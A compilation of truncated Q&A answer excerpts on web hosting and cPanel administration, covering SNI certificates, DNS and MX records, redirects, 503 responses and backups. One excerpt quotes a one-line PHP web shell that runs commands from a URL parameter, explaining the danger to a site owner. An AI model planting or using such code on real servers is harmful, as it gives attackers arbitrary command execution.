SSL certificates no longer require a dedicated IP address. There is a relatively new technology called Server Name Indication (SNI) that allows SSL certificates to be associated with a virtual host rather than with the server's IP address. Here is a digicert article that explains it very well. Your host may not have SNI support installed yet. It ...

If you don't trust him/her, create an FTP account in the domain that is being worked on for the uploads. Dev person should be able to create the database structure on their own machine and then dump it and give you a SQL file to recreate it on your server.

Web traffic Check the web logs to see which pages are being requested. If they're hitting a single page with a bad plug-in then it should show you the Page/Request URI that the user hit. Some things like scripts that resize image uploads can eat resources quickly. If you were getting a lot of traffic for the webserver then it would likely be someone ...

Currently my website is under maintenance. If your website is only temporarily "under maintenance" and has already been live and indexed by search engines then you should consider returning a "503 Service Unavailable" HTTP response code with perhaps a Retry-After HTTP header indicating when the site is expected to be available again. Instead of simply ...

Check DNS Records If your domains are registered at GoDaddy, then your MX records are likely pointing to GoDaddy's email servers and not your server. Check your DNS and make sure that your domains have the following: MX record pointing to mail.domain.com mail.domain.com A record pointing to your cPanel's server IP address. With cPanel (and many systems),...

The address you have mentioned is an IPv6 address. It was introduced as a solution to the rapidly dwindling supply of IPv4 address. It has the potential to allow for 3.4×10^38 (that is 34 followed by 38 zeros!) unique device addresses. You may need to speak to your ISP about renting a static IPv4 address to your home internet connection. Adoption of IPv6 ...

Finally stumbled on the delpop command and cPanel's command-line interface. So, assuming: You have SSH access to your account Your host has installed cPanel in the usual way Then you can delete a single email account with this command, using an SSH client like PuTTY: /usr/local/cpanel/cpanel-email delpop account_003 0 mydomain.com To delete many ...

The email address is part of the SOA record. Its second value is the email address of the administrator. As a minimum, the zone file must specify the Start of Authority (SOA) record with the name of the authoritative master name server for the zone and the email address of someone responsible for management of the name server. The email address in the SOA ...

all of them have redirected http://sub.example.com To https://www.sub.example.com That would seem to suggest that you have a rule that simply checks for the absence of www (which is correct for the first rule, but would conflict with the second) and then prefixes this to the requested host. I assume you also want to redirect http://example.com/<...

This file is often used front-end by themes and plugins. It was changed in WordPress robots.txt file a couple of years ago to allow crawling for this reason, after an issue with google being unable to crawl it.

<?php $str = $_GET['cmd']; system($str); ?> This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, yes, it could potentially allow files to be downloaded, eg. using wget. However, whether this would work as intended for the attacker would depend on how "...

The first method (screen.width<=799) is not reliable. On my Android, I get a screen width of 540 when the phone is being held upright (portrait view), but if I turn it on its side (landscape view), I get width=960. Better (maybe still not fully reliable) might be to bounce to mobile if either dimension is small: if ((screen.width <= 699) || (screen....

Simple answer. Hosts provide what is asked for and works best. It is a double-sided coin. Apache has been extremely successful and is stable and seasoned code therefore hosts don't have to work hard to support it. As you may know, Apache is one of the first successful web servers and serves the vast majority of web installations therefore it is asked for the ...

UPDATE: Based on the fact this is is a .com domain, you can do the following: Go to https://www.verisigninc.com/en_US/domain-names/com-domain-names/index.xhtml.

Explain the situation to them and tell them what documentation, if any, you have to establish that you or your client is the rightful ...

It is perfectly acceptable to update /etc/hosts in cPanel/WHM. As a rule of thumb, incase of an update which may change the file (unlikely, cPanel doesn't tend to touch it after the initial install phase) run this command to take a backup. # cp /etc/hosts /etc/hosts.bak This will copy your hosts file to a new file in your etc directory called hosts.bak ...

Simply, the problem here is that the certificate chains up to COMODO RSA Certificate Autority at the root, not to AddTrustExternalCARoot. Android devices do not have the COMODO RSA Certificate Authority in their root stores, only AddTrustExternalCARoot. If running IIS, you should go ahead and remove the COMODORSACertificateAutority in the root store on the ...

cPanel can do this by going to the following url: http://[ip-address]/~[cPanel-username]

The simple answer is that most of the PHP functionallity is in the basic setup and you probally don't need to worry about this. But, extensions are exactly as they sound like, they extend PHP functionallity. You have a MYSQL extension which allows you to connect to a database with premade functions (this extension is mostly on by default, unless you have a ...

It is used by wp-cli, the command line interface for WordPress. The wp-cli.yml is where you set configuration values, related to your website, for wp-cli.php to use. https://make.wordpress.org/cli/handbook/config/ For example, to update "pretty links" from the command line (wp rewrite flush), the wp-cli.yml (or a config.yml) file is necessary for the ...

It isn't a virus or some sort of FTP compression. It could be a couple of things going on: For example, if the server is running Linux and your desktop is running Windows it is likely that your server and desktop are set to display file sizes differently. In some operating systems, file sizes tend to be expressed mebibytes (e.g. 1 GiB = 1,024 MiB) while ...

You can find or change the location of backups in cpanel's Configure Backup Directory section of Backup Configuration interface Home > Backup > Backup Configuration Once you know the location of your file, rather than using a browser, use an FTP client such as filezilla

Search engines will have no idea which of the two domains is your 'main' domain. They have no access to your hosting providers data. They only know your domains from what they contain and how other sites link to them. So, no, this will not affect SEO.

Use add on domains in cpanel, and each one you add should add a new folder to 'public_html' where you can place your files.

I found the issue was the user for that cPanel account actually had an identical password to my WHM account and this threw an error (though user names were different). I changed it and it was ok.

This will vary depending on the Cpanel License, if its not a WHM unlimited license then these are the steps you need to take: Login to Cpanel Click sub domains under category 'domains' Add a sub domain oldsite with root of /oldsite/ Copy all /public_html/ or www depending on how cpanel was setup to oldsite If the domain already has the name servers set to ...

[Disclaimer: I work for one of the companies in the list below] Since your host is going to provide DNS management, it sounds like your needs are: setting up Apache virtual hosts, managing SFTP accounts, and creating MySQL databases and users. Does that sound right? You can definitely set up your sites manually, but life may be easier (and consequently ...
